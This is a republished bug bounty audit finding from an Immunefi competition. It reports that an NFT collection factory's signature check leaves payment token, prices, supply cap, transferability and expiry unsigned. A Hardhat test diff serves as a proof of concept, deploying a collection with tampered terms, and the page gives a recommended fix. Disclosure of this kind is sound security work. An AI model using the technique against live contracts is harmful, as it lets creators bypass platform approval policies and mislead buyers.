Skip to content
Smart contracts Audit finding Intermediate

Signature bypass lets creators alter key accesstoken parameters before deployment

The signature check for a new NFT collection only covers the name, symbol, contract URI and royalty, leaving payment token, prices, transferability, supply cap and expiry unsigned. A creator holding an approved signature can change those fields before deployment, so the factory deploys a collection with terms the signer never approved.

spongebob Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57875 sc medium signature bypass lets creators alter key accesstoken parameters before deployment

Submitted on Oct 29th 2025 at 10:43:56 UTC by @spongebob for Audit Comp | Belong

Description

SignatureVerifier.checkAccessTokenInfo only signs name, symbol, contractURI, and feeNumerator. Every other field in AccessTokenInfo is omitted from the hash, so a signature remains valid after mutating payment terms, transferability, supply, pricing, or expiry data before submission (https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L49).

Factory.produce trusts the caller-supplied struct after that limited check and forwards it verbatim into the AccessToken initializer, only normalizing paymentToken == address(0) to the default currency:

The AccessToken proxy persists and enforces all of those unsupervised fields (royalties, paymentToken, prices, transferable, maxTotalSupply, etc.) for minting, transfers, and payments, with no further validation against a signed payload:

A malicious creator can therefore take an approved signature, alter unchecked fields (e.g., switch paymentToken, lift the supply cap, toggle transferable) and deploy a collection that violates the off-chain approval assumptions — effectively bypassing the policy the signature was meant to enforce.

No subsequent on-chain step revalidates or constrains those parameters, so the platform currently depends entirely on caller honesty for critical configuration.

Impact

{% hint style="danger" %} This is a Critical-severity attack path in practice: unchecked fields include maxTotalSupply, transferable, pricing, etc. A creator with an approved signature can mutate these before calling produce, allowing them to mint or configure collections in ways the signer never approved (e.g., removing a supply cap or flipping transferability). The signature remains valid because it doesn't cover those fields, so the factory cannot distinguish the tampered payload. {% endhint %}

The realistic likelihood is high. The platform already issues signatures to creators, and the code doesn’t bind those signatures to the critical fields. Any creator who gets an approval can tweak unsigned parameters locally before calling produce. No extra privileges or technical skill are required — just a script or manual transaction edit.

Recommendation

{% hint style="info" %} Expand the signed digest in checkAccessTokenInfo to cover every AccessToken field that must stay immutable (payment token, transferability, supply, prices, expiry, etc.), or alternatively recompute and validate that complete digest inside Factory.produce before deploying. {% endhint %}

Proof of Concept

Run this diff

Diff
diff --git a/hardhat.config.ts b/hardhat.config.ts
index 5023728..3e67baf 100644
--- a/hardhat.config.ts
+++ b/hardhat.config.ts
@@ -1,4 +1,5 @@
 import { HardhatUserConfig } from 'hardhat/config';
+import type { HardhatNetworkUserConfig } from 'hardhat/types';
 import '@nomicfoundation/hardhat-toolbox';
 import '@openzeppelin/hardhat-upgrades';
 import 'solidity-docgen';
@@ -12,6 +13,7 @@ dotenv.config();
 
 let accounts: string[] = [],
   ledgerAccounts: string[] = [];
+const shouldFork = !process.env.NO_FORK;
 
 if (process.env.PK) {
   accounts = [process.env.PK];
@@ -20,6 +22,23 @@ if (process.env.LEDGER_ADDRESS) {
   ledgerAccounts = [process.env.LEDGER_ADDRESS];
 }
 
+const forkingUrl = process.env.INFURA_ID_PROJECT
+  ? `https://mainnet.infura.io/v3/${process.env.INFURA_ID_PROJECT}`
+  : `https://eth.llamarpc.com`;
+
+const hardhatNetworkConfig: HardhatNetworkUserConfig = {
+  accounts: { accountsBalance: '10000000000000000000000000' },
+  initialBaseFeePerGas: 0,
+  allowUnlimitedContractSize: false,
+};
+
+if (shouldFork) {
+  hardhatNetworkConfig.forking = {
+    url: forkingUrl,
+    blockNumber: 23490636,
+  };
+}
+
 const config: HardhatUserConfig = {
   solidity: {
     compilers: [
@@ -35,18 +54,7 @@ const config: HardhatUserConfig = {
     ],
   },
   networks: {
-    hardhat: {
-      forking: {
-        url: process.env.INFURA_ID_PROJECT
-          ? `https://mainnet.infura.io/v3/${process.env.INFURA_ID_PROJECT}`
-          : `https://eth.llamarpc.com`,
-        blockNumber: 23490636,
-      },
-      // throwOnCallFailures: false,
-      accounts: { accountsBalance: '10000000000000000000000000' },
-      initialBaseFeePerGas: 0,
-      allowUnlimitedContractSize: false,
-    },
+    hardhat: hardhatNetworkConfig,
     // 'ethereum': {
     //   url: 'https://eth.drpc.org',
     // },
diff --git a/test/v2/platform/factory.test.ts b/test/v2/platform/factory.test.ts
index 58a94c2..7236ba8 100644
--- a/test/v2/platform/factory.test.ts
+++ b/test/v2/platform/factory.test.ts
@@ -267,6 +267,67 @@ describe('Factory', () => {
       expect(shares[2]).to.eq(0);
     });
 
+    it('allows tampering unsigned AccessToken fields before deployment (PoC)', async () => {
+      const { factory, erc20Example, signer, alice } = await loadFixture(fixture);
+
+      const approvedName = 'Curated NonTransferable Drop';
+      const approvedSymbol = 'CUR8';
+      const approvedContractURI = 'ipfs://approved';
+      const approvedRoyalty = 250;
+      const approvedMaxSupply = BigNumber.from('5');
+      const approvedTransferable = false;
+
+      const digest = hashAccessTokenInfo(
+        approvedName,
+        approvedSymbol,
+        approvedContractURI,
+        approvedRoyalty,
+        chainId,
+      );
+      const signature = EthCrypto.sign(signer.privateKey, digest);
+
+      const approvedInfo: AccessTokenInfoStruct = {
+        metadata: { name: approvedName, symbol: approvedSymbol },
+        contractURI: approvedContractURI,
+        paymentToken: NATIVE_CURRENCY_ADDRESS,
+        mintPrice: ethers.utils.parseEther('0.01'),
+        whitelistMintPrice: ethers.utils.parseEther('0.005'),
+        transferable: approvedTransferable,
+        maxTotalSupply: approvedMaxSupply,
+        feeNumerator: approvedRoyalty,
+        collectionExpire: BigNumber.from('0'),
+        signature,
+      };
+
+      const tamperedInfo: AccessTokenInfoStruct = {
+        ...approvedInfo,
+        paymentToken: erc20Example.address,
+        transferable: true,
+        maxTotalSupply: BigNumber.from('1000'),
+        mintPrice: ethers.utils.parseEther('1'),
+        whitelistMintPrice: ethers.utils.parseEther('0.25'),
+        collectionExpire: BigNumber.from('123456789'),
+      };
+
+      const predictedAddress = await factory
+        .connect(alice)
+        .callStatic.produce(tamperedInfo, ethers.constants.HashZero);
+      await expect(factory.connect(alice).produce(tamperedInfo, ethers.constants.HashZero)).to.not.be.reverted;
+
+      const accessToken = await ethers.getContractAt('AccessToken', predictedAddress);
+      const deployedParams = await accessToken.parameters();
+
+      expect(deployedParams.info.transferable).to.equal(true);
+      expect(deployedParams.info.transferable).to.not.equal(approvedInfo.transferable);
+
+      expect(deployedParams.info.maxTotalSupply).to.equal(tamperedInfo.maxTotalSupply);
+      expect(deployedParams.info.maxTotalSupply).to.not.equal(approvedInfo.maxTotalSupply);
+
+      expect(deployedParams.info.paymentToken).to.equal(erc20Example.address);
+      expect(deployedParams.info.mintPrice).to.equal(tamperedInfo.mintPrice);
+      expect(deployedParams.info.collectionExpire).to.equal(tamperedInfo.collectionExpire);
+    });
+
     it('should correctly deploy several AccessToken nfts', async () => {
       const { factory, alice, bob, charlie, signer } = await loadFixture(fixture);

The original report as published on Immunefi, by spongebob. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signed digest omits most AccessTokenInfo fields, and the factory forwards the caller-supplied struct without revalidating the full set of parameters.

Impact

A creator with an approved signature could deploy collections with a removed supply cap, flipped transferability, different payment token or altered prices, bypassing the policy the signature was meant to enforce.

What the attacker needed

An approved signature from the platform signer; ability to submit a transaction to Factory.produce

The fix

The signed digest should be expanded to cover every AccessToken field that must stay immutable, or the full digest should be recomputed and validated inside Factory.produce before deployment.

How it was found

  1. Obtain an approved signature for a collection with chosen name, symbol, contract URI and royalty.
  2. Build an AccessTokenInfo struct using that signature but change payment token, transferability, supply cap, prices and expiry.
  3. Call Factory.produce with the tampered struct.
  4. Observe the deployed AccessToken stores and enforces the tampered values.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A signature is like a stamped approval letter. Here the stamp only covers a few details of a planned NFT collection, not the price, supply limit or whether tokens can be transferred. So someone with a valid stamp can quietly change those other details and the system will still accept it.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by spongebob

View all

15 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.